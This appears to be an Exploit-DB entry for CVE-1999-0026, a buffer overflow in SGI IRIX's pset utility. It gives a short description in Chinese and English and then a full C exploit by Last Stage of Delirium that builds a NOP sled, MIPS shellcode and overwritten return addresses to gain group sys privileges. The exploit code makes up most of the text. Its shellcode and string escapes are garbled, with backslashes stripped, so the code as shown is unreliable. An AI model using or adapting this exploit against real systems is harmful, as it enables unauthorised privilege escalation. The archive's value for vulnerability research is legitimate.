https://www.exploit-db.com/exploits/19347
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199707-026

基于SGIIRIX系统的pset命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

source: http://www.securityfocus.com/bid/457/info

The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended. 

/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/

/* This one gives you egid=0(sys) */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1

char asmcode[]="x3cx18x2fx62x37x18x69x6ex3cx19x2fx73x37x39x68x2exafxb8xffxf8xafxb9xffxfcxa3xa0xffxffx27xa4xffxf8x27xa5xffxf0x01x60x30x24xafxa4xffxf0xafxa0xffxf4x24x02x04x23x02x04x8dx0c";
/*
char nop[]="x24x0fx12x34";
*/
char nop[]="x01x20x48x25";

void run(unsigned char *buf) {
  execl("/sbin/pset","lsd","-s","666",buf,NULL);
  printf("execl failedn");
}

char jump[]="x03xa0x10x25x03xe0x00x08x24x0fx12x34x24x0fx12x34";

/*
unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes longn", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
    printf("Can't mallocn");
    exit(1);
  }

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address=%pn", *(int *)addr);

  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=align;
  for(i=0;i<bufsize;i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<ALIGN2;i++)
   *ptr++=nop[i%noplen];
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;
  printf("buflen=%dn", strlen(buf));
  fflush(stdout);

  run(buf);
}

VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:sgi:irix*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0026